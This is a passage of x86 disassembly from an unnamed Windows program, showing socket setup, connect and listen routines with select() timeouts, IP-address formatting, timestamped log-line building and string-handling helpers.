mov eax, [esp+2B4h+var_298]
mov ecx, [esi]
inc eax
add ebp, 14h
cmp eax, ecx
mov [esp+2B4h+var_298], eax
jl loc_4194A6
loc_419694: ; CODE XREF: sub_419300+19Dj
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_41969E: ; CODE XREF: sub_419300+164j
lea ecx, [esp+2B4h+var_274]
mov [esp+2B4h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebp
jmp short loc_4196BA
; ---------------------------------------------------------------------------
loc_4196B8: ; CODE XREF: sub_419300+3Dj
mov al, 1
loc_4196BA: ; CODE XREF: sub_419300+3B6j
mov ecx, [esp+2ACh+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 2A4h
retn 4
sub_419300 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4197E0 proc near ; CODE XREF: sub_40147Ej
var_20 = byte ptr -20h
arg_0 = byte ptr 4
arg_3 = dword ptr 7
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
mov eax, [esp+arg_3]
sub esp, 20h
mov edx, [esp+25h]
and eax, 0FFh
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, [esp+32h]
mov ebx, [esp+2Ch+arg_8]
mov ebp, [esp+2Ch+arg_3+1]
push eax
mov eax, [esp+34h]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ebx
push ebp
nop
call near ptr 77C3FA76h
mov ecx, [esi+32h]
add esp, 1Ch
mov al, [ecx+4]
test al, al
jnz short loc_4198A0
mov al, [esp+2Ch+arg_C]
test al, al
jnz short loc_41986E
mov eax, [esp+30h]
test eax, eax
jz short loc_41986E
push 2
lea edx, [esp+30h+arg_0]
push 4
push edx
nop
call near ptr 71ABE479h
test eax, eax
jz short loc_4198A0
mov eax, [eax]
push ebx
push eax
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
; ---------------------------------------------------------------------------
loc_41986E: ; CODE XREF: sub_4197E0+5Aj
; sub_4197E0+62j
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp+30h+var_20]
rep stosd
lea ecx, [esp+30h+var_20]
push 1Dh
push ecx
stosw
nop
call near ptr 71AB50C8h
test eax, eax
pop edi
jnz short loc_4198A0
lea edx, [esp+2Ch+var_20]
push ebx
push edx
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
loc_4198A0: ; CODE XREF: sub_4197E0+52j
; sub_4197E0+75j ...
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
sub_4197E0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4198F0 proc near ; CODE XREF: sub_401F2Dj
push 0FFFFFFFFh
push offset SEH_4198F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push 14h
call sub_437AEA
sub_4198F0 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+4], eax
test eax, eax
mov dword ptr [esp+10h], 0
jz short loc_41993E
mov ecx, eax
call sub_4015C3
mov [esi], eax
mov eax, esi
pop esi
mov ecx, [esp+4]
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41993E: ; CODE XREF: ___:00419921j
mov ecx, [esp+8]
xor eax, eax
mov [esi], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419980 proc near ; CODE XREF: sub_4015C3j
mov eax, ecx
retn
sub_419980 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4199A0 proc near ; CODE XREF: sub_401F0Aj
nop
call near ptr 27F0CAAh
push eax
nop
call near ptr 77C371BCh
pop ecx
retn
sub_4199A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4199C0 proc near ; CODE XREF: sub_4021C6j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
nop
call near ptr 77C371D3h
mov esi, [esp+8+arg_0]
mov [esp+8+var_4], eax
mov eax, [esp+8+arg_4]
fild [esp+8+var_4]
sub eax, esi
mov [esp+8+arg_4], eax
fimul [esp+8+arg_4]
fmul dbl_43F0B0
call sub_437BDA
sub_4199C0 endp
; ---------------------------------------------------------------------------
sub esi, eax
mov eax, esi
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419A10: ; CODE XREF: ___:00401C99j
nop
call near ptr 77C371D3h
cdq
idiv dword ptr [esp+4]
mov eax, edx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
locret_419A30: ; CODE XREF: ___:00401528j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419A50 proc near ; CODE XREF: sub_401FE1j
xor al, al
retn 4
sub_419A50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419A70 proc near ; CODE XREF: sub_40152Dj
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
mov edx, [esp+arg_8]
cmp eax, 1
setnl al
mov byte ptr [esp+arg_C], al
push ecx
mov eax, [esp+4+arg_C]
push edx
push eax
push 0
mov ecx, offset byte_4D8075
call sub_401118
retn
sub_419A70 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419AB0: ; CODE XREF: ___:0040150Fj
sub esp, 0Ch
mov eax, [esp+20h]
push ebx
push ebp
push esi
xor esi, esi
push edi
cmp eax, esi
mov dword ptr [esp+18h], 80h
mov [esp+10h], esi
jz short loc_419AE3
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, esi
mov [esp+10h], eax
jz short loc_419AE3
mov [esp+18h], eax
loc_419AE3: ; CODE XREF: ___:00419ACBj
; ___:00419ADDj
mov edi, [esp+28h]
mov ebx, [esp+24h]
mov ebp, [esp+20h]
mov [esp+14h], esi
mov esi, offset dword_508E2C
loc_419AF8: ; CODE XREF: ___:00419B49j
mov ecx, [esp+14h]
mov eax, [esp+18h]
cmp ecx, eax
jge short loc_419B4B
cmp byte ptr [esi], 0
jz short loc_419B34
mov eax, [esp+30h]
test eax, eax
jz short loc_419B28
mov ecx, [esp+10h]
test ecx, ecx
jnz short loc_419B28
push eax
push esi
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz short loc_419B34
loc_419B28: ; CODE XREF: ___:00419B0Fj
; ___:00419B17j
push edi
push esi
push ebx
push ebp
call sub_40152D
add esp, 10h
loc_419B34: ; CODE XREF: ___:00419B07j
; ___:00419B26j
mov edx, [esp+14h]
add esi, 80h
inc edx
cmp esi, offset dword_50CE2C
mov [esp+14h], edx
jl short loc_419AF8
loc_419B4B: ; CODE XREF: ___:00419B02j
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419B90: ; CODE XREF: ___:00402289j
push ebx
mov ebx, dword_511B04
push esi
push edi
mov edi, [esp+10h]
mov esi, offset dword_508E2C
loc_419BA2: ; CODE XREF: ___:00419BBEj
cmp byte ptr [esi], 0
jz short loc_419BB2
push edi
push esi
call ebx ; strstr
add esp, 8
test eax, eax
jnz short loc_419BC6
loc_419BB2: ; CODE XREF: ___:00419BA5j
add esi, 80h
cmp esi, offset dword_50CE2C
jl short loc_419BA2
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419BC6: ; CODE XREF: ___:00419BB0j
pop edi
pop esi
mov eax, 1
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419BE0 proc near ; CODE XREF: sub_4010D2j
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
lea eax, [esp+10h+var_10]
push esi
push edi
push eax
nop
call near ptr 27D0000h
mov edi, dword_511B08
mov esi, offset dword_50CE2C
loc_419BFB: ; CODE XREF: sub_419BE0+3Bj
cmp byte ptr [esi], 0
jz short loc_419C0F
push 7Fh
lea ecx, [esi+80h]
push esi
push ecx
call edi ; strncpy
add esp, 0Ch
loc_419C0F: ; CODE XREF: sub_419BE0+1Ej
sub esi, 80h
cmp esi, offset dword_508E2C
jge short loc_419BFB
mov edx, [esp+18h+arg_0]
mov eax, [esp+18h+var_4]
mov ecx, [esp+12h]
push edx
mov edx, [esp+1Ch+var_8]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
mov eax, [esp+20h+var_10]
and edx, 0FFFFh
push ecx
mov ecx, [esp+1Ah]
push edx
mov edx, [esp+28h+var_10+2]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
and edx, 0FFFFh
push ecx
push edx
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push 80h
push offset dword_508E2C
nop
call near ptr 77C3FA76h
add esp, 28h
pop edi
pop esi
add esp, 10h
retn
sub_419BE0 endp
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419CB0: ; CODE XREF: ___:004012DAj
sub esp, 600h
mov ecx, 80h
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp+10h]
mov esi, [esp+614h]
rep stosd
mov ecx, 80h
lea edi, [esp+210h]
mov ebp, dword_511B08
push 1FFh
rep stosd
mov ecx, 80h
lea edi, [esp+414h]
rep stosd
lea eax, [esp+14h]
push esi
push eax
call ebp ; strncpy
mov edx, [esp+628h]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
add esp, 0Ch
repne scasb
not ecx
dec ecx
cmp ecx, 180h
jbe short loc_419D21
mov [edx+180h], al
loc_419D21: ; CODE XREF: ___:00419D19j
mov ebx, [esp+618h]
lea ecx, [esp+10h]
push ebx
push ecx
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_419E32
loc_419D3F: ; CODE XREF: ___:00419E25j
lea edx, [esp+10h]
push ebx
push edx
call near ptr 77C47C60h
nop
mov esi, eax
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push 1FFh
add ecx, esi
lea eax, [esp+41Ch]
push ecx
push eax
call ebp ; strncpy
lea ecx, [esp+24h]
push 1FFh
lea edx, [esp+228h]
push ecx
push edx
mov byte ptr [esi], 0
call ebp ; strncpy
lea edx, [esi+1]
add esp, 20h
test edx, edx
jz short loc_419E00
lea eax, [ebx-1]
test eax, eax
jz short loc_419E00
lea edi, [ebx-1]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, edx
mov esi, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp ecx, esi
jbe short loc_419DDD
mov edx, [esp+61Ch]
lea ecx, [esp+410h]
push ecx
lea eax, [esp+214h]
push edx
push eax
lea ecx, [esp+1Ch]
push offset aSSS ; "%s%s%s"
push ecx
nop
call sub_5F285B
add esp, 14h
jmp short loc_419E00
; ---------------------------------------------------------------------------
loc_419DDD: ; CODE XREF: ___:00419DAEj
mov edx, [esp+61Ch]
lea eax, [esp+210h]
push edx
push eax
lea ecx, [esp+18h]
push offset aSS_3 ; "%s%s"
push ecx
nop
call sub_5F285B
add esp, 10h
loc_419E00: ; CODE XREF: ___:00419D8Aj
; ___:00419D91j ...
mov edx, [esp+61Ch]
mov esi, dword_511B04
push edx
push ebx
call esi ; strstr
add esp, 8
test eax, eax
jnz short loc_419E2B
lea eax, [esp+10h]
push ebx
push eax
call esi ; strstr
add esp, 8
test eax, eax
jnz loc_419D3F
loc_419E2B: ; CODE XREF: ___:00419E16j
mov esi, [esp+614h]
loc_419E32: ; CODE XREF: ___:00419D39j
lea edi, [esp+10h]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
lea ecx, [esp+14h]
push ecx
push esi
call ebp ; strncpy
add esp, 0Ch
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 600h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419ED0: ; CODE XREF: ___:004018DEj
sub esp, 10h
push esi
push 0
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_419EEE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419EEE: ; CODE XREF: ___:00419EE5j
mov ecx, [esp+18h]
xor eax, eax
mov [esp+4], eax
push ecx
mov [esp+0Ch], eax
mov word ptr [esp+8], 2
mov [esp+10h], eax
mov [esp+14h], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+4]
push 10h
push edx
push esi
mov [esp+12h], ax
mov dword ptr [esp+14h], 0
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_419F39
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419F39: ; CODE XREF: ___:00419F2Fj
push 7FFFFFFFh
push esi
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_419F51
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419F51: ; CODE XREF: ___:00419F47j
mov eax, esi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419F90: ; CODE XREF: ___:00401E83j
push edi
xor edi, edi
mov eax, offset byte_4E02A5
loc_419F98: ; CODE XREF: ___:00419FA8j
cmp dword ptr [eax], 0
jz short loc_419FAA
add eax, 316h
inc edi
cmp eax, offset byte_4E7E15
jle short loc_419F98
loc_419FAA: ; CODE XREF: ___:00419F9Bj
cmp edi, 13h
jle short loc_419FB4
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419FB4: ; CODE XREF: ___:00419FADj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_511C00
push esi
lea eax, [eax+eax*4]
lea esi, ds:4E01ABh[eax*2]
mov eax, [esp+10h]
push eax
push esi
call ebx ; sub_5F285B
mov ecx, [esp+24h]
mov edx, [esp+1Ch]
mov eax, [esp+20h]
mov [esi+0FAh], ecx
mov ecx, [esp+28h]
mov [esi+0FEh], edi
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5F285B
add esp, 10h
mov eax, edi
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A050 proc near ; CODE XREF: sub_4013F2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push edi
xor edi, edi
mov eax, offset dword_4D8735
loc_41A058: ; CODE XREF: sub_41A050+18j
cmp dword ptr [eax], 0
jz short loc_41A06A
add eax, 316h
inc edi
cmp eax, offset byte_4E02A5
jle short loc_41A058
loc_41A06A: ; CODE XREF: sub_41A050+Bj
cmp edi, 13h
jle short loc_41A074
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_41A074: ; CODE XREF: sub_41A050+1Dj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_511C00
push esi
lea eax, [eax+eax*4]
lea esi, ds:4D863Bh[eax*2]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call ebx ; sub_5F285B
mov ecx, [esp+14h+arg_C]
mov edx, [esp+14h+arg_4]
mov eax, [esp+14h+arg_8]
mov [esi+0FAh], ecx
mov ecx, [esp+14h+arg_10]
mov [esi+0FEh], edi
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5F285B
add esp, 10h
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41A050 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A110 proc near ; CODE XREF: sub_401C49j
var_190 = byte ptr -190h
arg_0 = byte ptr 4
sub esp, 190h
push ebp
mov ebp, ecx
push esi
push edi
mov dword ptr [ebp+0], offset off_43F0BC
mov eax, dword_50DAF8
test eax, eax
jnz short loc_41A148
mov eax, dword_50DAF8
inc eax
mov dword_50DAF8, eax
lea ecx, [esp+19Ch+var_190]
push ecx
push 202h
nop
call near ptr 71AB664Dh
jmp short loc_41A155
; ---------------------------------------------------------------------------
loc_41A148: ; CODE XREF: sub_41A110+19j
mov edx, dword_50DAF8
inc edx
mov dword_50DAF8, edx
loc_41A155: ; CODE XREF: sub_41A110+36j
mov al, [esp+19Ch+arg_0]
or ecx, 0FFFFFFFFh
mov [ebp+80Ah], al
mov edi, offset byte_448F30
xor eax, eax
mov [ebp+806h], ecx
mov byte ptr [ebp+80Ch], 0
mov word ptr [ebp+4], 0
repne scasb
not ecx
sub edi, ecx
lea edx, [ebp+6]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebp
and ecx, 3
rep movsb
pop edi
mov byte ptr [ebp+80Bh], 0
pop esi
pop ebp
add esp, 190h
retn 4
sub_41A110 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A1E0 proc near ; CODE XREF: ___:004018E3j sub_401B09j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401FE6
test [esp+4+arg_0], 1
jz short loc_41A1F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41A1F8: ; CODE XREF: sub_41A1E0+Dj
mov eax, esi
pop esi
retn 4
sub_41A1E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A210 proc near ; CODE XREF: sub_401FE6j
mov al, [ecx+80Ah]
mov dword ptr [ecx], offset off_43F0BC
test al, al
jnz short loc_41A225
call sub_4014E7
loc_41A225: ; CODE XREF: sub_41A210+Ej
mov eax, 1
mov ecx, dword_50DAF8
cmp ecx, eax
jle short loc_41A240
mov eax, dword_50DAF8
dec eax
mov dword_50DAF8, eax
locret_41A23F: ; CODE XREF: sub_41A210:loc_41A240j
retn
; ---------------------------------------------------------------------------
loc_41A240: ; CODE XREF: sub_41A210+22j
jnz short locret_41A23F
mov ecx, dword_50DAF8
dec ecx
mov dword_50DAF8, ecx
nop
jmp near ptr 71AB4428h
sub_41A210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41A280: ; CODE XREF: ___:004015AAj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43BFDB
push eax
mov large fs:0, esp
sub esp, 814h
push esi
mov esi, ecx
call sub_40196A
test al, al
jz loc_41A331
mov al, [esi+80Bh]
test al, al
jz short loc_41A2B9
mov al, 1
jmp short loc_41A331
; ---------------------------------------------------------------------------
loc_41A2B9: ; CODE XREF: ___:0041A2B3j
push ebx
push edi
mov edi, [esp+830h]
push 800h
lea eax, [esi+6]
push edi
push eax
nop
call near ptr 77C47A90h
mov ebx, [esp+840h]
add esp, 0Ch
lea ecx, [esp+0Ch]
mov [esi+4], bx
call sub_401186
mov ecx, [esp+83Ch]
mov edx, [esp+838h]
push ecx
push edx
push ebx
push edi
lea ecx, [esp+1Ch]
mov dword ptr [esp+838h], 0
call sub_401640
push eax
mov ecx, esi
call sub_4020E5
lea ecx, [esp+0Ch]
mov bl, al
mov dword ptr [esp+828h], 0FFFFFFFFh
call sub_40187A
mov al, bl
pop edi
pop ebx
loc_41A331: ; CODE XREF: ___:0041A2A5j
; ___:0041A2B7j
mov ecx, [esp+818h]
pop esi
mov large fs:0, ecx
add esp, 820h
retn 10h
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A390 proc near ; CODE XREF: sub_40196Aj
mov al, byte_444DA4
retn
sub_41A390 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A3B0 proc near ; CODE XREF: sub_4020E5j
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
sub esp, 11Ch
push ebp
push esi
push edi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A3D0
pop edi
pop esi
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A3D0: ; CODE XREF: sub_41A3B0+12j
mov al, [esi+80Bh]
test al, al
jnz loc_41A571
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A40A
mov ecx, esi
call sub_4014E7
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A40A: ; CODE XREF: sub_41A3B0+43j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A419
push 1
jmp short loc_41A41B
; ---------------------------------------------------------------------------
loc_41A419: ; CODE XREF: sub_41A3B0+63j
push 0
loc_41A41B: ; CODE XREF: sub_41A3B0+67j
mov ecx, esi
call sub_4018CA
mov edi, [esp+128h+arg_4]
xor eax, eax
mov [esp+128h+var_114], eax
push edi
mov [esp+12Ch+var_110], eax
mov [esi+4], di
mov [esp+12Ch+var_10C], eax
mov word ptr [esp+12Ch+var_114], 2
mov [esp+12Ch+var_108], eax
call near ptr 71AB2B66h
nop
mov ecx, [esp+128h+arg_0]
mov word ptr [esp+128h+var_114+2], ax
mov eax, [esi+806h]
lea edx, [esp+128h+var_114]
push 10h
push edx
push eax
mov [esp+134h+var_110], ecx
mov [esi+4], di
call near ptr 71AB406Ah
nop
mov ebp, dword_511C50
test eax, eax
jge short loc_41A4BC
call ebp ; WSAGetLastError
cmp eax, 2733h
jz short loc_41A4AD
call ebp ; WSAGetLastError
cmp eax, 0Bh
jz short loc_41A4AD
call ebp ; WSAGetLastError
cmp eax, 2733h
jz short loc_41A4AD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A4AD: ; CODE XREF: sub_41A3B0+D6j
; sub_41A3B0+DDj ...
mov al, byte ptr [esp+128h+arg_8]
test al, al
jnz loc_41A56A
loc_41A4BC: ; CODE XREF: sub_41A3B0+CDj
mov eax, [esi+806h]
xor ecx, ecx
lea edx, [esp+128h+var_11C]
mov edi, dword_511C94
mov [esp+128h+var_11C], ecx
push edx
mov [esp+12Ch+var_118], ecx
push ecx
lea ecx, [esp+130h+var_104]
mov [esp+130h+var_100], eax
push ecx
inc eax
push 0
push eax
mov [esp+13Ch+var_11C], 0Ah
mov [esp+13Ch+var_104], 1
call edi ; select
test eax, eax
jge short loc_41A530
loc_41A4FB: ; CODE XREF: sub_41A3B0+17Ej
call ebp ; WSAGetLastError
call ebp ; WSAGetLastError
cmp eax, 4
jnz short loc_41A545
mov eax, [esp+128h+var_11C]
test eax, eax
jnz short loc_41A514
mov eax, [esp+128h+var_118]
test eax, eax
jz short loc_41A545
loc_41A514: ; CODE XREF: sub_41A3B0+15Aj
mov ecx, [esi+806h]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
inc ecx
push 0
push ecx
call edi ; select
test eax, eax
jl short loc_41A4FB
loc_41A530: ; CODE XREF: sub_41A3B0+149j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A561
mov edx, [esp+128h+arg_8]
push edx
jmp short loc_41A563
; ---------------------------------------------------------------------------
loc_41A545: ; CODE XREF: sub_41A3B0+152j
; sub_41A3B0+162j
mov ecx, esi
call sub_4014E7
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A561: ; CODE XREF: sub_41A3B0+189j
push 0
loc_41A563: ; CODE XREF: sub_41A3B0+193j
mov ecx, esi
call sub_4018CA
loc_41A56A: ; CODE XREF: sub_41A3B0+106j
mov byte ptr [esi+80Bh], 1
loc_41A571: ; CODE XREF: sub_41A3B0+28j
pop edi
pop esi
mov al, 1
pop ebp
add esp, 11Ch
retn 10h
sub_41A3B0 endp
; ---------------------------------------------------------------------------
db 90h
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A600 proc near ; CODE XREF: sub_4014E7j
push esi
mov esi, ecx
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41A61A
cmp eax, 0FFFFFFFFh
jz short loc_41A61A
push eax
nop
call near ptr 71AB9639h
loc_41A61A: ; CODE XREF: sub_41A600+Cj
; sub_41A600+11j
mov ecx, esi
call sub_401375
mov byte ptr [esi+80Bh], 0
pop esi
retn
sub_41A600 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A640 proc near ; CODE XREF: sub_401375j
push ebp
mov edx, ecx
push esi
push edi
or ecx, 0FFFFFFFFh
mov edi, offset byte_448F30
xor eax, eax
mov [edx+806h], ecx
mov word ptr [edx+4], 0
lea ebp, [edx+6]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
mov byte ptr [edx+80Bh], 0
mov byte ptr [edx+80Ch], 0
pop ebp
retn
sub_41A640 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A6B0 proc near ; CODE XREF: sub_401492j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A6C6
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A6C6: ; CODE XREF: sub_41A6B0+Dj
mov al, [esi+80Bh]
test al, al
jnz loc_41A77F
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A6FB
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A6FB: ; CODE XREF: sub_41A6B0+39j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
call near ptr 71AB2B66h
nop
mov word ptr [esp+14h+var_10+2], ax
mov eax, [esi+806h]
lea edx, [esp+14h+var_10]
push 10h
push edx
push eax
mov [esp+20h+var_C], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41A754
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A754: ; CODE XREF: sub_41A6B0+92j
mov ecx, [esi+806h]
push 32h
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41A778
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A778: ; CODE XREF: sub_41A6B0+B6j
mov byte ptr [esi+80Bh], 1
loc_41A77F: ; CODE XREF: sub_41A6B0+1Ej
mov al, 1
pop esi
add esp, 10h
retn 4
sub_41A6B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A7D0 proc near ; CODE XREF: sub_401B95j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 120h
push esi
push edi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A7EE
pop edi
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A7EE: ; CODE XREF: sub_41A7D0+11j
mov al, [esi+80Bh]
test al, al
jnz short loc_41A805
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
